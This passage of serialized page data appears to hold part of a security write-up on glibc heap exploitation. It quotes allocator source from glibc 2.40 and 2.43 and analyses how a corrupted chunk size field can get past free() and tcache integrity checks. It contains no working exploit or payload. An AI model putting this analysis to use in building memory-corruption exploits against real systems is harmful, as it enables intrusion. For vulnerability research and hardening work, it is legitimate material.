or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":19,"tag":34821,"props":123932,"children":123934},{"id":123933},"free-path",[123935],{"type":24,"value":123936},"free() path",{"type":19,"tag":20,"props":123938,"children":123939},{},[123940,123942,123948],{"type":24,"value":123941},"Let’s first look at the ",{"type":19,"tag":27,"props":123943,"children":123945},{"className":123944},[],[123946],{"type":24,"value":123947},"free()",{"type":24,"value":123949}," path in glibc 2.40:",{"type":19,"tag":158,"props":123951,"children":123953},{"code":123952,"language":543,"meta":7,"className":13963,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[123954],{"type":19,"tag":27,"props":123955,"children":123956},{"__ignoreMap":7},[123957,123985,123992,124000,124008,124015,124037,124058,124065,124078,124085,124093,124100,124113,124120,124141,124162,124169],{"type":19,"tag":168,"props":123958,"children":123959},{"class":170,"line":171},[123960,123965,123969,123973,123977,123981],{"type":19,"tag":168,"props":123961,"children":123962},{"style":175},[123963],{"type":24,"value":123964},"__libc_free",{"type":19,"tag":168,"props":123966,"children":123967},{"style":212},[123968],{"type":24,"value":461},{"type":19,"tag":168,"props":123970,"children":123971},{"style":382},[123972],{"type":24,"value":49110},{"type":19,"tag":168,"props":123974,"children":123975},{"style":399},[123976],{"type":24,"value":7259},{"type":19,"tag":168,"props":123978,"children":123979},{"style":393},[123980],{"type":24,"value":38140},{"type":19,"tag":168,"props":123982,"children":123983},{"style":212},[123984],{"type":24,"value":557},{"type":19,"tag":168,"props":123986,"children":123987},{"class":170,"line":198},[123988],{"type":19,"tag":168,"props":123989,"children":123990},{"style":212},[123991],{"type":24,"value":8324},{"type":19,"tag":168,"props":123993,"children":123994},{"class":170,"line":415},[123995],{"type":19,"tag":168,"props":123996,"children":123997},{"style":212},[123998],{"type":24,"value":123999}," mstate ar_ptr;\n",{"type":19,"tag":168,"props":124001,"children":124002},{"class":170,"line":450},[124003],{"type":19,"tag":168,"props":124004,"children":124005},{"style":212},[124006],{"type":24,"value":124007}," mchunkptr p;\n",{"type":19,"tag":168,"props":124009,"children":124010},{"class":170,"line":560},[124011],{"type":19,"tag":168,"props":124012,"children":124013},{"emptyLinePlaceholder":14},[124014],{"type":24,"value":1093},{"type":19,"tag":168,"props":124016,"children":124017},{"class":170,"line":666},[124018,124023,124027,124032],{"type":19,"tag":168,"props":124019,"children":124020},{"style":212},[124021],{"type":24,"value":124022}," p ",{"type":19,"tag":168,"props":124024,"children":124025},{"style":399},[124026],{"type":24,"value":486},{"type":19,"tag":168,"props":124028,"children":124029},{"style":175},[124030],{"type":24,"value":124031}," mem2chunk",{"type":19,"tag":168,"props":124033,"children":124034},{"style":212},[124035],{"type":24,"value":124036}," (mem);\n",{"type":19,"tag":168,"props":124038,"children":124039},{"class":170,"line":694},[124040,124044,124048,124053],{"type":19,"tag":168,"props":124041,"children":124042},{"style":419},[124043],{"type":24,"value":28866},{"type":19,"tag":168,"props":124045,"children":124046},{"style":212},[124047],{"type":24,"value":461},{"type":19,"tag":168,"props":124049,"children":124050},{"style":175},[124051],{"type":24,"value":124052},"chunk_is_mmapped",{"type":19,"tag":168,"props":124054,"children":124055},{"style":212},[124056],{"type":24,"value":124057}," (p))\n",{"type":19,"tag":168,"props":124059,"children":124060},{"class":170,"line":707},[124061],{"type":19,"tag":168,"props":124062,"children":124063},{"style":212},[124064],{"type":24,"value":26657},{"type":19,"tag":168,"props":124066,"children":124067},{"class":170,"line":725},[124068,124073],{"type":19,"tag":168,"props":124069,"children":124070},{"style":175},[124071],{"type":24,"value":124072}," munmap_chunk",{"type":19,"tag":168,"props":124074,"children":124075},{"style":212},[124076],{"type":24,"value":124077}," (p);\n",{"type":19,"tag":168,"props":124079,"children":124080},{"class":170,"line":746},[124081],{"type":19,"tag":168,"props":124082,"children":124083},{"style":212},[124084],{"type":24,"value":761},{"type":19,"tag":168,"props":124086,"children":124087},{"class":170,"line":755},[124088],{"type":19,"tag":168,"props":124089,"children":124090},{"style":419},[124091],{"type":24,"value":124092}," else\n",{"type":19,"tag":168,"props":124094,"children":124095},{"class":170,"line":1008},[124096],{"type":19,"tag":168,"props":124097,"children":124098},{"style":212},[124099],{"type":24,"value":26657},{"type":19,"tag":168,"props":124101,"children":124102},{"class":170,"line":1025},[124103,124108],{"type":19,"tag":168,"props":124104,"children":124105},{"style":175},[124106],{"type":24,"value":124107}," MAYBE_INIT_TCACHE",{"type":19,"tag":168,"props":124109,"children":124110},{"style":212},[124111],{"type":24,"value":124112}," ();\n",{"type":19,"tag":168,"props":124114,"children":124115},{"class":170,"line":1042},[124116],{"type":19,"tag":168,"props":124117,"children":124118},{"emptyLinePlaceholder":14},[124119],{"type":24,"value":1093},{"type":19,"tag":168,"props":124121,"children":124122},{"class":170,"line":1055},[124123,124128,124132,124137],{"type":19,"tag":168,"props":124124,"children":124125},{"style":212},[124126],{"type":24,"value":124127}," ar_ptr ",{"type":19,"tag":168,"props":124129,"children":124130},{"style":399},[124131],{"type":24,"value":486},{"type":19,"tag":168,"props":124133,"children":124134},{"style":175},[124135],{"type":24,"value":124136}," arena_for_chunk",{"type":19,"tag":168,"props":124138,"children":124139},{"style":212},[124140],{"type":24,"value":124077},{"type":19,"tag":168,"props":124142,"children":124143},{"class":170,"line":1064},[124144,124149,124154,124158],{"type":19,"tag":168,"props":124145,"children":124146},{"style":175},[124147],{"type":24,"value":124148}," _int_free",{"type":19,"tag":168,"props":124150,"children":124151},{"style":212},[124152],{"type":24,"value":124153}," (ar_ptr, p, ",{"type":19,"tag":168,"props":124155,"children":124156},{"style":192},[124157],{"type":24,"value":1452},{"type":19,"tag":168,"props":124159,"children":124160},{"style":212},[124161],{"type":24,"value":1249},{"type":19,"tag":168,"props":124163,"children":124164},{"class":170,"line":1087},[124165],{"type":19,"tag":168,"props":124166,"children":124167},{"style":212},[124168],{"type":24,"value":761},{"type":19,"tag":168,"props":124170,"children":124171},{"class":170,"line":1096},[124172],{"type":19,"tag":168,"props":124173,"children":124174},{"style":212},[124175],{"type":24,"value":1326},{"type":19,"tag":20,"props":124177,"children":124178},{},[124179,124181,124186,124188,124193,124195,124201,124203,124209,124211,124216,124218,124223,124225,124230,124232,124237],{"type":24,"value":124180},"We can see that if the ",{"type":19,"tag":27,"props":124182,"children":124184},{"className":124183},[],[124185],{"type":24,"value":123916},{"type":24,"value":124187}," bit is set in the corrupted ",{"type":19,"tag":27,"props":124189,"children":124191},{"className":124190},[],[124192],{"type":24,"value":121747},{"type":24,"value":124194}," field, glibc will call ",{"type":19,"tag":27,"props":124196,"children":124198},{"className":124197},[],[124199],{"type":24,"value":124200},"munmap_chunk",{"type":24,"value":124202},", which internally checks that ",{"type":19,"tag":27,"props":124204,"children":124206},{"className":124205},[],[124207],{"type":24,"value":124208},"prev_size + size",{"type":24,"value":124210}," is page-aligned. To reach the ",{"type":19,"tag":27,"props":124212,"children":124214},{"className":124213},[],[124215],{"type":24,"value":121747},{"type":24,"value":124217}," field, we first have to overwrite the entire 8-byte ",{"type":19,"tag":27,"props":124219,"children":124221},{"className":124220},[],[124222],{"type":24,"value":123866},{"type":24,"value":124224}," field with uncontrolled data. The chance that a corrupted ",{"type":19,"tag":27,"props":124226,"children":124228},{"className":124227},[],[124229],{"type":24,"value":124208},{"type":24,"value":124231}," value still ends up page-aligned is extremely small. In practice, if ",{"type":19,"tag":27,"props":124233,"children":124235},{"className":124234},[],[124236],{"type":24,"value":123916},{"type":24,"value":124238}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":19,"tag":20,"props":124240,"children":124241},{},[124242,124244,124249,124251,124257],{"type":24,"value":124243},"Assuming ",{"type":19,"tag":27,"props":124245,"children":124247},{"className":124246},[],[124248],{"type":24,"value":123916},{"type":24,"value":124250}," is not set, execution continues into ",{"type":19,"tag":27,"props":124252,"children":124254},{"className":124253},[],[124255],{"type":24,"value":124256},"_int_free",{"type":24,"value":1922},{"type":19,"tag":158,"props":124259,"children":124261},{"code":124260,"language":543,"meta":7,"className":13963,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[124262],{"type":19,"tag":27,"props":124263,"children":124264},{"__ignoreMap":7},[124265,124277,124320,124327,124335,124342,124363,124370,124378,124386,124394,124402,124466,124501,124522,124530,124538,124586,124606,124613,124626,124633],{"type":19,"tag":168,"props":124266,"children":124267},{"class":170,"line":171},[124268,124272],{"type":19,"tag":168,"props":124269,"children":124270},{"style":382},[124271],{"type":24,"value":48527},{"type":19,"tag":168,"props":124273,"children":124274},{"style":382},[124275],{"type":24,"value":124276}," void\n",{"type":19,"tag":168,"props":124278,"children":124279},{"class":170,"line":198},[124280,124284,124289,124294,124299,124303,124307,124311,124316],{"type":19,"tag":168,"props":124281,"children":124282},{"style":175},[124283],{"type":24,"value":124256},{"type":19,"tag":168,"props":124285,"children":124286},{"style":212},[124287],{"type":24,"value":124288}," (mstate ",{"type":19,"tag":168,"props":124290,"children":124291},{"style":393},[124292],{"type":24,"value":124293},"av",{"type":19,"tag":168,"props":124295,"children":124296},{"style":212},[124297],{"type":24,"value":124298},", mchunkptr ",{"type":19,"tag":168,"props":124300,"children":124301},{"style":393},[124302],{"type":24,"value":20},{"type":19,"tag":168,"props":124304,"children":124305},{"style":212},[124306],{"type":24,"value":471},{"type":19,"tag":168,"props":124308,"children":124309},{"style":382},[124310],{"type":24,"value":16500},{"type":19,"tag":168,"props":124312,"children":124313},{"style":393},[124314],{"type":24,"value":124315}," have_lock",{"type":19,"tag":168,"props":124317,"children":124318},{"style":212},[124319],{"type":24,"value":557},{"type":19,"tag":168,"props":124321,"children":124322},{"class":170,"line":415},[124323],{"type":19,"tag":168,"props":124324,"children":124325},{"style":212},[124326],{"type":24,"value":8324},{"type":19,"tag":168,"props":124328,"children":124329},{"class":170,"line":450},[124330],{"type":19,"tag":168,"props":124331,"children":124332},{"style":212},[124333],{"type":24,"value":124334}," INTERNAL_SIZE_T size;\n",{"type":19,"tag":168,"props":124336,"children":124337},{"class":170,"line":560},[124338],{"type":19,"tag":168,"props":124339,"children":124340},{"emptyLinePlaceholder":14},[124341],{"type":24,"value":1093},{"type":19,"tag":168,"props":124343,"children":124344},{"class":170,"line":666},[124345,124350,124354,124359],{"type":19,"tag":168,"props":124346,"children":124347},{"style":212},[124348],{"type":24,"value":124349}," size ",{"type":19,"tag":168,"props":124351,"children":124352},{"style":399},[124353],{"type":24,"value":486},{"type":19,"tag":168,"props":124355,"children":124356},{"style":175},[124357],{"type":24,"value":124358}," chunksize",{"type":19,"tag":168,"props":124360,"children":124361},{"style":212},[124362],{"type":24,"value":124077},{"type":19,"tag":168,"props":124364,"children":124365},{"class":170,"line":694},[124366],{"type":19,"tag":168,"props":124367,"children":124368},{"emptyLinePlaceholder":14},[124369],{"type":24,"value":1093},{"type":19,"tag":168,"props":124371,"children":124372},{"class":170,"line":707},[124373],{"type":19,"tag":168,"props":124374,"children":124375},{"style":373},[124376],{"type":24,"value":124377}," /* Little security check which won't hurt performance: the\n",{"type":19,"tag":168,"props":124379,"children":124380},{"class":170,"line":725},[124381],{"type":19,"tag":168,"props":124382,"children":124383},{"style":373},[124384],{"type":24,"value":124385}," allocator never wraps around at the end of the address space.\n",{"type":19,"tag":168,"props":124387,"children":124388},{"class":170,"line":746},[124389],{"type":19,"tag":168,"props":124390,"children":124391},{"style":373},[124392],{"type":24,"value":124393}," Therefore we can exclude some size values which might appear\n",{"type":19,"tag":168,"props":124395,"children":124396},{"class":170,"line":755},[124397],{"type":19,"tag":168,"props":124398,"children":124399},{"style":373},[124400],{"type":24,"value":124401}," here by accident or by \"design\" from some intruder. */\n",{"type":19,"tag":168,"props":124403,"children":124404},{"class":170,"line":1008},[124405,124409,124413,124418,124423,124428,124433,124437,124441,124445,124449,124453,124458,124462],{"type":19,"tag":168,"props":124406,"children":124407},{"style":419},[124408],{"type":24,"value":28866},{"type":19,"tag":168,"props":124410,"children":124411},{"style":212},[124412],{"type":24,"value":461},{"type":19,"tag":168,"props":124414,"children":124415},{"style":175},[124416],{"type":24,"value":124417},"__builtin_expect",{"type":19,"tag":168,"props":124419,"children":124420},{"style":212},[124421],{"type":24,"value":124422}," ((",{"type":19,"tag":168,"props":124424,"children":124425},{"style":382},[124426],{"type":24,"value":124427},"uintptr_t",{"type":19,"tag":168,"props":124429,"children":124430},{"style":212},[124431],{"type":24,"value":124432},") p ",{"type":19,"tag":168,"props":124434,"children":124435},{"style":399},[124436],{"type":24,"value":7905},{"type":19,"tag":168,"props":124438,"children":124439},{"style":212},[124440],{"type":24,"value":461},{"type":19,"tag":168,"props":124442,"children":124443},{"style":382},[124444],{"type":24,"value":124427},{"type":19,"tag":168,"props":124446,"children":124447},{"style":212},[124448],{"type":24,"value":481},{"type":19,"tag":168,"props":124450,"children":124451},{"style":399},[124452],{"type":24,"value":1757},{"type":19,"tag":168,"props":124454,"children":124455},{"style":212},[124456],{"type":24,"value":124457},"size, ",{"type":19,"tag":168,"props":124459,"children":124460},{"style":192},[124461],{"type":24,"value":1452},{"type":19,"tag":168,"props":124463,"children":124464},{"style":212},[124465],{"type":24,"value":557},{"type":19,"tag":168,"props":124467,"children":124468},{"class":170,"line":1025},[124469,124474,124479,124483,124488,124493,124497],{"type":19,"tag":168,"props":124470,"children":124471},{"style":399},[124472],{"type":24,"value":124473}," ||",{"type":19,"tag":168,"props":124475,"children":124476},{"style":175},[124477],{"type":24,"value":124478}," __builtin_expect",{"type":19,"tag":168,"props":124480,"children":124481},{"style":212},[124482],{"type":24,"value":461},{"type":19,"tag":168,"props":124484,"children":124485},{"style":175},[124486],{"type":24,"value":124487},"misaligned_chunk",{"type":19,"tag":168,"props":124489,"children":124490},{"style":212},[124491],{"type":24,"value":124492}," (p), ",{"type":19,"tag":168,"props":124494,"children":124495},{"style":192},[124496],{"type":24,"value":1452},{"type":19,"tag":168,"props":124498,"children":124499},{"style":212},[124500],{"type":24,"value":17166},{"type":19,"tag":168,"props":124502,"children":124503},{"class":170,"line":1042},[124504,124509,124513,124518],{"type":19,"tag":168,"props":124505,"children":124506},{"style":175},[124507],{"type":24,"value":124508}," malloc_printerr",{"type":19,"tag":168,"props":124510,"children":124511},{"style":212},[124512],{"type":24,"value":461},{"type":19,"tag":168,"props":124514,"children":124515},{"style":181},[124516],{"type":24,"value":124517},"\"free(): invalid pointer\"",{"type":19,"tag":168,"props":124519,"children":124520},{"style":212},[124521],{"type":24,"value":1249},{"type":19,"tag":168,"props":124523,"children":124524},{"class":170,"line":1055},[124525],{"type":19,"tag":168,"props":124526,"children":124527},{"style":373},[124528],{"type":24,"value":124529}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":19,"tag":168,"props":124531,"children":124532},{"class":170,"line":1064},[124533],{"type":19,"tag":168,"props":124534,"children":124535},{"style":373},[124536],{"type":24,"value":124537}," multiple of MALLOC_ALIGNMENT. */\n",{"type":19,"tag":168,"props":124539,"children":124540},{"class":170,"line":1087},[124541,124545,124549,124554,124559,124563,124568,124572,124576,124581],{"type":19,"tag":168,"props":124542,"children":124543},{"style":419},[124544],{"type":24,"value":28866},{"type":19,"tag":168,"props":124546,"children":124547},{"style":212},[124548],{"type":24,"value":461},{"type":19,"tag":168,"props":124550,"children":124551},{"style":175},[124552],{"type":24,"value":124553},"__glibc_unlikely",{"type":19,"tag":168,"props":124555,"children":124556},{"style":212},[124557],{"type":24,"value":124558}," (size ",{"type":19,"tag":168,"props":124560,"children":124561},{"style":399},[124562],{"type":24,"value":3240},{"type":19,"tag":168,"props":124564,"children":124565},{"style":212},[124566],{"type":24,"value":124567}," MINSIZE ",{"type":19,"tag":168,"props":124569,"children":124570},{"style":399},[124571],{"type":24,"value":19874},{"type":19,"tag":168,"props":124573,"children":124574},{"style":399},[124575],{"type":24,"value":10309},{"type":19,"tag":168,"props":124577,"children":124578},{"style":175},[124579],{"type":24,"value":124580},"aligned_OK",{"type":19,"tag":168,"props":124582,"children":124583},{"style":212},[124584],{"type":24,"value":124585}," (size)))\n",{"type":19,"tag":168,"props":124587,"children":124588},{"class":170,"line":1096},[124589,124593,124597,124602],{"type":19,"tag":168,"props":124590,"children":124591},{"style":175},[124592],{"type":24,"value":124508},{"type":19,"tag":168,"props":124594,"children":124595},{"style":212},[124596],{"type":24,"value":461},{"type":19,"tag":168,"props":124598,"children":124599},{"style":181},[124600],{"type":24,"value":124601},"\"free(): invalid size\"",{"type":19,"tag":168,"props":124603,"children":124604},{"style":212},[124605],{"type":24,"value":1249},{"type":19,"tag":168,"props":124607,"children":124608},{"class":170,"line":1105},[124609],{"type":19,"tag":168,"props":124610,"children":124611},{"emptyLinePlaceholder":14},[124612],{"type":24,"value":1093},{"type":19,"tag":168,"props":124614,"children":124615},{"class":170,"line":1174},[124616,124621],{"type":19,"tag":168,"props":124617,"children":124618},{"style":175},[124619],{"type":24,"value":124620}," check_inuse_chunk",{"type":19,"tag":168,"props":124622,"children":124623},{"style":212},[124624],{"type":24,"value":124625},"(av, p);\n",{"type":19,"tag":168,"props":124627,"children":124628},{"class":170,"line":1182},[124629],{"type":19,"tag":168,"props":124630,"children":124631},{"emptyLinePlaceholder":14},[124632],{"type":24,"value":1093},{"type":19,"tag":168,"props":124634,"children":124635},{"class":170,"line":1212},[124636],{"type":19,"tag":168,"props":124637,"children":124638},{"style":212},[124639],{"type":24,"value":124640}," [...]\n",{"type":19,"tag":20,"props":124642,"children":124643},{},[124644],{"type":24,"value":124645},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":19,"tag":20,"props":124647,"children":124648},{},[124649,124651,124656,124658,124663,124665,124670,124672,124677],{"type":24,"value":124650},"The next check, however, ensures that the ",{"type":19,"tag":27,"props":124652,"children":124654},{"className":124653},[],[124655],{"type":24,"value":121747},{"type":24,"value":124657}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":19,"tag":27,"props":124659,"children":124661},{"className":124660},[],[124662],{"type":24,"value":121747},{"type":24,"value":124664}," must preserve alignment while also avoiding the ",{"type":19,"tag":27,"props":124666,"children":124668},{"className":124667},[],[124669],{"type":24,"value":123916},{"type":24,"value":124671}," bit. Under those constraints, exploiting the bug through ",{"type":19,"tag":27,"props":124673,"children":124675},{"className":124674},[],[124676],{"type":24,"value":121747},{"type":24,"value":124678}," corruption looked very unreliable at first.",{"type":19,"tag":20,"props":124680,"children":124681},{},[124682],{"type":24,"value":124683},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":19,"tag":158,"props":124685,"children":124687},{"code":124686,"language":543,"meta":7,"className":13963,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[124688],{"type":19,"tag":27,"props":124689,"children":124690},{"__ignoreMap":7},[124691,124699,124726,124733,124740,124747,124766,124773,124793,124800,124828,124852,124859,124872,124914,124921,124929,124936,124953],{"type":19,"tag":168,"props":124692,"children":124693},{"class":170,"line":171},[124694],{"type":19,"tag":168,"props":124695,"children":124696},{"style":382},[124697],{"type":24,"value":124698},"void\n",{"type":19,"tag":168,"props":124700,"children":124701},{"class":170,"line":198},[124702,124706,124710,124714,124718,124722],{"type":19,"tag":168,"props":124703,"children":124704},{"style":175},[124705],{"type":24,"value":123964},{"type":19,"tag":168,"props":124707,"children":124708},{"style":212},[124709],{"type":24,"value":461},{"type":19,"tag":168,"props":124711,"children":124712},{"style":382},[124713],{"type":24,"value":49110},{"type":19,"tag":168,"props":124715,"children":124716},{"style":399},[124717],{"type":24,"value":7259},{"type":19,"tag":168,"props":124719,"children":124720},{"style":393},[124721],{"type":24,"value":38140},{"type":19,"tag":168,"props":124723,"children":124724},{"style":212},[124725],{"type":24,"value":557},{"type":19,"tag":168,"props":124727,"children":124728},{"class":170,"line":415},[124729],{"type":19,"tag":168,"props":124730,"children":124731},{"style":212},[124732],{"type":24,"value":8324},{"type":19,"tag":168,"props":124734,"children":124735},{"class":170,"line":450},[124736],{"type":19,"tag":168,"props":124737,"children":124738},{"style":212},[124739],{"type":24,"value":124007},{"type":19,"tag":168,"props":124741,"children":124742},{"class":170,"line":560},[124743],{"type":19,"tag":168,"props":124744,"children":124745},{"emptyLinePlaceholder":14},[124746],{"type":24,"value":1093},{"type":19,"tag":168,"props":124748,"children":124749},{"class":170,"line":666},[124750,124754,124758,124762],{"type":19,"tag":168,"props":124751,"children":124752},{"style":212},[124753],{"type":24,"value":124022},{"type":19,"tag":168,"props":124755,"children":124756},{"style":399},[124757],{"type":24,"value":486},{"type":19,"tag":168,"props":124759,"children":124760},{"style":175},[124761],{"type":24,"value":124031},{"type":19,"tag":168,"props":124763,"children":124764},{"style":212},[124765],{"type":24,"value":124036},{"type":19,"tag":168,"props":124767,"children":124768},{"class":170,"line":694},[124769],{"type":19,"tag":168,"props":124770,"children":124771},{"emptyLinePlaceholder":14},[124772],{"type":24,"value":1093},{"type":19,"tag":168,"props":124774,"children":124775},{"class":170,"line":707},[124776,124781,124785,124789],{"type":19,"tag":168,"props":124777,"children":124778},{"style":212},[124779],{"type":24,"value":124780}," INTERNAL_SIZE_T size ",{"type":19,"tag":168,"props":124782,"children":124783},{"style":399},[124784],{"type":24,"value":486},{"type":19,"tag":168,"props":124786,"children":124787},{"style":175},[124788],{"type":24,"value":124358},{"type":19,"tag":168,"props":124790,"children":124791},{"style":212},[124792],{"type":24,"value":124077},{"type":19,"tag":168,"props":124794,"children":124795},{"class":170,"line":725},[124796],{"type":19,"tag":168,"props":124797,"children":124798},{"emptyLinePlaceholder":14},[124799],{"type":24,"value":1093},{"type":19,"tag":168,"props":124801,"children":124802},{"class":170,"line":746},[124803,124807,124811,124815,124819,124823],{"type":19,"tag":168,"props":124804,"children":124805},{"style":419},[124806],{"type":24,"value":28866},{"type":19,"tag":168,"props":124808,"children":124809},{"style":212},[124810],{"type":24,"value":461},{"type":19,"tag":168,"props":124812,"children":124813},{"style":175},[124814],{"type":24,"value":124553},{"type":19,"tag":168,"props":124816,"children":124817},{"style":212},[124818],{"type":24,"value":461},{"type":19,"tag":168,"props":124820,"children":124821},{"style":175},[124822],{"type":24,"value":124487},{"type":19,"tag":168,"props":124824,"children":124825},{"style":212},[124826],{"type":24,"value":124827}," (p)))\n",{"type":19,"tag":168,"props":124829,"children":124830},{"class":170,"line":755},[124831,124835,124840,124844,124848],{"type":19,"tag":168,"props":124832,"children":124833},{"style":419},[124834],{"type":24,"value":14438},{"type":19,"tag":168,"props":124836,"children":124837},{"style":175},[124838],{"type":24,"value":124839}," malloc_printerr_tail",{"type":19,"tag":168,"props":124841,"children":124842},{"style":212},[124843],{"type":24,"value":461},{"type":19,"tag":168,"props":124845,"children":124846},{"style":181},[124847],{"type":24,"value":124517},{"type":19,"tag":168,"props":124849,"children":124850},{"style":212},[124851],{"type":24,"value":1249},{"type":19,"tag":168,"props":124853,"children":124854},{"class":170,"line":1008},[124855],{"type":19,"tag":168,"props":124856,"children":124857},{"emptyLinePlaceholder":14},[124858],{"type":24,"value":1093},{"type":19,"tag":168,"props":124860,"children":124861},{"class":170,"line":1025},[124862,124867],{"type":19,"tag":168,"props":124863,"children":124864},{"style":419},[124865],{"type":24,"value":124866},"#if",{"type":19,"tag":168,"props":124868,"children":124869},{"style":175},[124870],{"type":24,"value":124871}," USE_TCACHE\n",{"type":19,"tag":168,"props":124873,"children":124874},{"class":170,"line":1042},[124875,124879,124883,124888,124892,124896,124901,124905,124910],{"type":19,"tag":168,"props":124876,"children":124877},{"style":419},[124878],{"type":24,"value":28866},{"type":19,"tag":168,"props":124880,"children":124881},{"style":212},[124882],{"type":24,"value":461},{"type":19,"tag":168,"props":124884,"children":124885},{"style":175},[124886],{"type":24,"value":124887},"__glibc_likely",{"type":19,"tag":168,"props":124889,"children":124890},{"style":212},[124891],{"type":24,"value":124558},{"type":19,"tag":168,"props":124893,"children":124894},{"style":399},[124895],{"type":24,"value":3240},{"type":19,"tag":168,"props":124897,"children":124898},{"style":393},[124899],{"type":24,"value":124900}," mp_",{"type":19,"tag":168,"props":124902,"children":124903},{"style":212},[124904],{"type":24,"value":948},{"type":19,"tag":168,"props":124906,"children":124907},{"style":393},[124908],{"type":24,"value":124909},"tcache_max_bytes",{"type":19,"tag":168,"props":124911,"children":124912},{"style":212},[124913],{"type":24,"value":17166},{"type":19,"tag":168,"props":124915,"children":124916},{"class":170,"line":1055},[124917],{"type":19,"tag":168,"props":124918,"children":124919},{"style":212},[124920],{"type":24,"value":26657},{"type":19,"tag":168,"props":124922,"children":124923},{"class":170,"line":1064},[124924],{"type":19,"tag":168,"props":124925,"children":124926},{"style":212},[124927],{"type":24,"value":124928}," [...]\n",{"type":19,"tag":168,"props":124930,"children":124931},{"class":170,"line":1087},[124932],{"type":19,"tag":168,"props":124933,"children":124934},{"emptyLinePlaceholder":14},[124935],{"type":24,"value":1093},{"type":19,"tag":168,"props":124937,"children":124938},{"class":170,"line":1096},[124939,124943,124948],{"type":19,"tag":168,"props":124940,"children":124941},{"style":419},[124942],{"type":24,"value":36832},{"type":19,"tag":168,"props":124944,"children":124945},{"style":175},[124946],{"type":24,"value":124947}," tcache_put",{"type":19,"tag":168,"props":124949,"children":124950},{"style":212},[124951],{"type":24,"value":124952}," (p, tc_idx);\n",{"type":19,"tag":168,"props":124954,"children":124955},{"class":170,"line":1105},[124956],{"type":19,"tag":168,"props":124957,"children":124958},{"style":212},[124959],{"type":24,"value":761},{"type":19,"tag":20,"props":124961,"children":124962},{},[124963,124965,124970],{"type":24,"value":124964},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":19,"tag":27,"props":124966,"children":124968},{"className":124967},[],[124969],{"type":24,"value":121747},{"type":24,"value":124971}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":19,"tag":20,"props":124973,"children":124974},{},[124975,124977,124983,124984,124989],{"type":24,"value":124976},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":19,"tag":27,"props":124978,"children":124980},{"className":124979},[],[124981],{"type":24,"value":124982},"check_inuse_chunk",{"type":24,"value":461},{"type":19,"tag":27,"props":124985,"children":124987},{"className":124986},[],[124988],{"type":24,"value":121875},{"type":24,"value":21413},{"type":19,"tag":158,"props":124991,"children":124993},{"code":124992,"language":543,"meta":7,"className":13963,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[124994],{"type":19,"tag":27,"props":124995,"children":124996},{"__ignoreMap":7},[124997,125004,125031,125038,125045,125052,125071,125078,125097,125104,125131,125154,125161,125187,125194,125205,125262],{"type":19,"tag":168,"props":124998,"children":124999},{"class":170,"line":171},[125000],{"type":19,"tag":168,"props":125001,"children":125002},{"style":382},[125003],{"type":24,"value":124698},{"type":19,"tag":168,"props":125005,"children":125006},{"class":170,"line":198},[125007,125011,125015,125019,125023,125027],{"type":19,"tag":168,"props":125008,"children":125009},{"style":175},[125010],{"type":24,"value":123964},{"type":19,"tag":168,"props":125012,"children":125013},{"style":212},[125014],{"type":24,"value":461},{"type":19,"tag":168,"props":125016,"children":125017},{"style":382},[125018],{"type":24,"value":49110},{"type":19,"tag":168,"props":125020,"children":125021},{"style":399},[125022],{"type":24,"value":7259},{"type":19,"tag":168,"props":125024,"children":125025},{"style":393},[125026],{"type":24,"value":38140},{"type":19,"tag":168,"props":125028,"children":125029},{"style":212},[125030],{"type":24,"value":557},{"type":19,"tag":168,"props":125032,"children":125033},{"class":170,"line":415},[125034],{"type":19,"tag":168,"props":125035,"children":125036},{"style":212},[125037],{"type":24,"value":8324},{"type":19,"tag":168,"props":125039,"children":125040},{"class":170,"line":450},[125041],{"type":19,"tag":168,"props":125042,"children":125043},{"style":212},[125044],{"type":24,"value":124007},{"type":19,"tag":168,"props":125046,"children":125047},{"class":170,"line":560},[125048],{"type":19,"tag":168,"props":125049,"children":125050},{"emptyLinePlaceholder":14},[125051],{"type":24,"value":1093},{"type":19,"tag":168,"props":125053,"children":125054},{"class":170,"line":666},[125055,125059,125063,125067],{"type":19,"tag":168,"props":125056,"children":125057},{"style":212},[125058],{"type":24,"value":124022},{"type":19,"tag":168,